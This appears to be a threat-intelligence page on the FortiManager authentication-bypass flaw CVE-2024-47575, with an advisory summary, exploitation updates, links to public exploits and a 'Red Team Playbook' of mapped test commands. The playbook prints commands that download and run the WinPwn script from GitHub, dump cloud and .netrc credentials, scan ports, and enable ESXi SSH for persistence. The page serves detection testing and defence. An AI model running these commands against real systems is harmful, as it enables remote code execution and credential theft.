CVE-2024-47575

CRITICAL CISA KEV EXPLOIT POC TTE Zero-Day Pub 23/10 Upd 21/10

Overview

This vulnerability is an authentication bypass affecting Fortinet FortiManager and FortiManager Cloud versions from 6.2.0 to 7.6.0. The root cause is a missing authentication check on critical functions within the management interface, allowing unauthorized access. The flaw resides in the access control mechanism of the FortiManager's administrative API endpoints, which fail to validate user credentials before processing requests.

Vulnerability Description

A missing authentication for critical function in FortiManager 7.6.0, FortiManager 7.4.0 through 7.4.4, FortiManager 7.2.0 through 7.2.7, FortiManager 7.0.0 through 7.0.12, FortiManager 6.4.0 through 6.4.14, FortiManager 6.2.0 through 6.2.12, Fortinet FortiManager Cloud 7.4.1 through 7.4.4, FortiManager Cloud 7.2.1 through 7.2.7, FortiManager Cloud 7.0.1 through 7.0.12, FortiManager Cloud 6.4.1 through 6.4.7 allows attacker to execute arbitrary code or commands via specially crafted requests.

Impact

An unauthenticated attacker can execute arbitrary code or commands on affected FortiManager and FortiManager Cloud systems. This allows full control over the device management infrastructure, potentially leading to data compromise, disruption of network management operations, and lateral movement within the enterprise environment. No authentication or user interaction is needed, making exploitation straightforward and increasing the likelihood of compromise in exposed deployments.

Solution

Fortinet has released security updates addressing this issue in FortiManager and FortiManager Cloud versions beyond 7.6.0 and corresponding 7.4.x, 7.2.x, 7.0.x, 6.4.x, and 6.2.x branches. Administrators should apply the patches as detailed in the Fortinet advisory FG-IR-24-423 available at https://fortiguard.fortinet.com/psirt/FG-IR-24-423. The advisory provides version-specific upgrade instructions and recommended mitigation steps to restore proper authentication enforcement on management API endpoints.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability present in FortiManager versions 7.6.0 and earlier, including various iterations of the FortiManager Cloud, stems from a critical flaw related to missing authentication for essential functions. This oversight allows unauthorized users to send specially crafted requests that can lead to the execution of arbitrary code or commands on the affected systems. The lack of proper authentication mechanisms means that an attacker can potentially bypass security controls, gaining access to sensitive functionalities that should be restricted to authenticated users only. This vulnerability highlights a significant lapse in the security design of the FortiManager platform, which is widely used for centralized management of Fortinet security devices.

Attack vectors for this vulnerability are particularly concerning due to the ease with which an attacker can exploit it. Given that the flaw allows for arbitrary code execution, an attacker could leverage this weakness to perform a variety of malicious actions, such as deploying malware, altering configurations, or exfiltrating sensitive data. Scenarios may include an external attacker targeting an exposed FortiManager instance over the internet or an insider threat exploiting internal access. The ability to execute arbitrary commands could also lead to lateral movement within a network, allowing attackers to pivot to other systems and escalate their privileges, thereby increasing their foothold within the organization.

The real-world impact of this vulnerability can be severe, particularly for organizations that rely heavily on FortiManager for their security posture. The potential for unauthorized access to critical management functions could lead to significant business risks, including data breaches, service disruptions, and financial losses. Organizations may face regulatory penalties if sensitive data is compromised, and the reputational damage from such incidents can be long-lasting. Furthermore, the high CVSS score of 9.8 indicates that this vulnerability poses an urgent threat, necessitating immediate attention from security teams to mitigate the risks involved.

To effectively detect and mitigate this vulnerability, organizations should adopt a multi-layered approach to security. Regular vulnerability assessments and penetration testing can help identify exposed instances of FortiManager that may be susceptible to exploitation. Implementing strict access controls, including network segmentation and the principle of least privilege, can reduce the attack surface and limit the potential for unauthorized access. Additionally, organizations should ensure that they are running the latest versions of FortiManager and apply any available patches or updates provided by Fortinet. Monitoring logs for unusual activity and employing intrusion detection systems can also aid in the early detection of exploitation attempts.

In conclusion, the missing authentication vulnerability in FortiManager represents a critical security risk that organizations must address promptly. By understanding the technical details, potential attack vectors, and real-world implications, security professionals can better prepare their defenses against such threats. Proactive measures, including regular updates, access control enforcement, and continuous monitoring, are essential to safeguarding against exploitation and ensuring the integrity of the systems that manage vital security infrastructure.




CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-47575, reflected by a doubling in observed activity and a corresponding increase in the EPSS score. This uptick signals growing adversary interest and operational momentum in leveraging the unauthenticated remote code execution vulnerability in FortiManager and FortiManager Cloud platforms. The proliferation of publicly available proof-of-concept exploits, including multiple GitHub repositories and a Metasploit module, has likely lowered the barrier to entry for threat actors, facilitating broader and more opportunistic exploitation attempts. While no direct ransomware campaigns have yet been confidently linked to this vulnerability, the presence of known ransomware groups such as Akira and Ransomhub in the broader threat landscape underscores the potential for future weaponization. For defenders, this evolving threat landscape demands heightened vigilance as exploitation activity intensifies and the risk of compromise escalates. Consequently, the overall threat level associated with CVE-2024-47575 should be considered elevated, reflecting both the increased exploitation frequency and the expanding toolkit available to attackers.



Update 2 — July 09, 2026

CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-47575, reflected by a noticeable uptick in telemetry signals. This increase coincides with the continued availability of multiple new proof-of-concept exploits and a fully integrated Metasploit module, collectively lowering the technical barrier for adversaries to execute unauthenticated remote code execution against vulnerable FortiManager and FortiManager Cloud deployments. While ransomware groups have not yet been definitively linked to active campaigns leveraging this vulnerability, the persistent presence of known threat actors such as Akira and Ransomhub within the broader ecosystem sustains the potential for imminent weaponization. For defenders, this evolving dynamic signifies an elevated risk environment where opportunistic exploitation could rapidly translate into operational compromise. Consequently, the threat level associated with CVE-2024-47575 should be considered heightened, reflecting both the intensifying exploitation activity and the expanding arsenal of publicly accessible attack tools.

Affected Products (10)

Vendor Product Version CPE
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager All cpe:2.3:a:fortinet:fortimanager:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager 7.6.0 cpe:2.3:a:fortinet:fortimanager:7.6.0:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager Cloud All cpe:2.3:a:fortinet:fortimanager_cloud:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager Cloud All cpe:2.3:a:fortinet:fortimanager_cloud:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager Cloud All cpe:2.3:a:fortinet:fortimanager_cloud:*:*:*:*:*:*:*:*
fortinet Fortinet Fortimanager Cloud All cpe:2.3:a:fortinet:fortimanager_cloud:*:*:*:*:*:*:*:*
Warning: The exploits and proof-of-concept (PoC) code listed below are sourced from third-party public repositories. CSURFACE assumes no responsibility for the content, accuracy, or safety of these resources. Use at your own risk. Learn more

Metasploit (1)

Module Authors Rank Platform Link
Fortinet FortiManager Unauthenticated RCE
exploits/linux/misc/fortimanager_rce_cve_2024_47575
sfewer-r7 Unknown - View

GitHub PoCs (4)

Repository Author Stars Forks Date Link
watchtowrlabs/Fortijump-Exploit-CVE-2024-47575
Fortinet Fortimanager Unauthenticated Remote Code Execution AKA FortiJump CVE-2024-47575
watchtowrlabs 97 30 2024-11-07 View
SkyGodling/exploit-cve-2024-47575
FortiManager Unauthenticated Remote Code Execution (CVE-2024-47575)
SkyGodling 1 0 2024-11-15 View
revanslbw/CVE-2024-47575-POC
CVE POC Exploit
revanslbw 0 0 2025-01-05 View
AnnnNix/CVE-2024-47575
PoC for CVE-2024-47575
AnnnNix 0 0 2025-07-19 View
Exploited in Wild CONFIRMED
Ransomware IN USE
Attacker Interest MEDIUM
Sightings Few sightings

Threat Feed

10 events
2026-07-09
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-23
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-06-19
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Threat Sensor Sighting — Few sightings

Sighting activity recorded

2026-04-05
Exploited by akira

Ransomware group known to exploit this vulnerability. Tools: Advanced IP Scanner, Advanced Port Scanner, AnyDesk, Bloodhound, Cloudflared (1529 known victims)

2026-04-05
Exploited by ransomhub

Ransomware group known to exploit this vulnerability. Tools: Acronis Disk Director, Angry IP Scanner, AnyDesk, Atera, BITSAdmin (842 known victims)

2026-04-05
Exploited by Mora_001

Ransomware group known to exploit this vulnerability

2024-11-07
PoC Published (4 GitHub repositories)

Proof-of-concept code is publicly available for this vulnerability

2024-10-23
Added to CISA KEV Catalog

CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog

2024-10-23
Exploit Published (0 ExploitDB, 1 Metasploit)

Public exploit code is available for this vulnerability

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

Authentication Bypass
100% auth_bypass
Remote Code Execution
52% rce
OS Command Injection
45% command_injection
Privilege Escalation
35% privilege_escalation

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059 Command and Scripting Interpreter Kill Chain execution ESXi, IaaS, Identity Provider, Linux, macOS, Network Devices, Office Suite, Windows
T1542.001 System Firmware Kill Chain persistence, defense-evasion Windows, Network Devices
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1046 Network Service Discovery Kill Chain discovery Containers, IaaS, Linux, macOS, Network Devices, Windows
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns ML

ID Name ML Conf. Likelihood Severity Link
CAPEC-12 Choosing Message Identifier
38%
High High
CAPEC-62 Cross Site Request Forgery
38%
High Very High
CAPEC-36 Using Unpublished Interfaces or Functionality
35%
Medium High
CAPEC-166 Force the System to Reset Values
31%
Medium
CAPEC-216 Communication Channel Manipulation
30%

Red Team Playbook

33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1046 Network Service Discovery for Containers containers Shell
Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and...
Command (Shell)
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
T1046 Port Scan Linux, macOS Bash
Scan ports to check for listening ports. Upon successful execution, sh will perform a network connection against a single host (192.168.1.1) and determine what ports are open in the range of 1-65535. Results will be via stdout.
Command (Bash)
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
T1046 Port Scan NMap for Windows Windows PowerShell Privileged
Scan ports to check for listening ports for the local host 127.0.0.1
Command (PowerShell)
nmap #{host_to_scan}
T1046 Port Scan Nmap Linux, macOS Shell Privileged
Scan ports to check for listening ports with Nmap. Upon successful execution, sh will utilize nmap, telnet, and nc to contact a single or range of addresses on port 80 to determine if listening. Results will be via stdout.
Command (Shell)
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
T1046 Port Scan using nmap (Port range) Linux, macOS Shell Privileged
Scan multiple ports to check for listening ports with nmap
Command (Shell)
nmap -Pn -sV -p #{port_range} #{host}
T1046 Port Scan using python Windows PowerShell
Scan ports to check for listening ports with python
Command (PowerShell)
python "#{filename}" -i #{host_ip}
T1046 Port-Scanning /24 Subnet with PowerShell Windows PowerShell
Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in...
Command (PowerShell)
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
    $ip_list = $ipAddr -split ","
    $ip_list = $ip_list.ForEach({ $_.Trim() })
    Write-Host "[i] IP Address List: $ip_list"

    $ports = #{port_list}

    foreach ($ip in $ip_list) {
        foreach ($port in $ports) {
            Write-Host "[i] Establishing connection to: $ip : $port"
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} elseif ($ipAddr -notlike "*,*") {
    if ($ipAddr -eq "") {
        # Assumes the "primary" interface is shown at the top
        $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
        Write-Host "[i] Using Interface $interface"
        $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
    }
    Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
    $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
    # Always assumes /24 subnet
    Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"

    $ports = #{port_list}
    $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }

    foreach ($ip in $subnetIPs) {
        foreach ($port in $ports) {
            try {
                $tcp = New-Object Net.Sockets.TcpClient
                $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
            } catch {}
            if ($tcp.Connected) {
                $tcp.Close()
                Write-Host "Port $port is open on $ip"
            }
        }
    }
} else {
    Write-Host "[Error] Invalid Inputs"
    exit 1
}
T1046 Remote Desktop Services Discovery via PowerShell Windows PowerShell Privileged
Availability of remote desktop services can be checked using get- cmdlet of PowerShell
Command (PowerShell)
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
T1046 WinPwn - MS17-10 Windows PowerShell
Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
T1046 WinPwn - bluekeep Windows PowerShell
Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain).
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
T1046 WinPwn - fruit Windows PowerShell
Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
T1046 WinPwn - spoolvulnscan Windows PowerShell
Start MS-RPRN RPC Service Scan using spoolvulnscan function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
T1059 AutoIt Script Execution Windows PowerShell
An adversary may attempt to execute suspicious or malicious script using AutoIt software instead of regular terminal like powershell or cmd. Calculator will popup when the script is executed successfully.
Command (PowerShell)
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
T1542.001 UEFI Persistence via Wpbbin.exe File Creation Windows PowerShell Privileged
Creates Wpbbin.exe in %systemroot%. This technique can be used for UEFI-based pre-OS boot persistence mechanisms. - https://grzegorztworek.medium.com/using-uefi-to-inject-executable-files-into-bitlocker-protected-drives-8ff4ca59c94c -...
Command (PowerShell)
echo "Creating %systemroot%\wpbbin.exe"      
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (3)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2024-47575
fortiguard.fortinet.com
GitHub CVE
https://fortiguard.fortinet.com/psirt/FG-IR-24-423
cisa.gov
NVD API US Government Resource
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2024-47575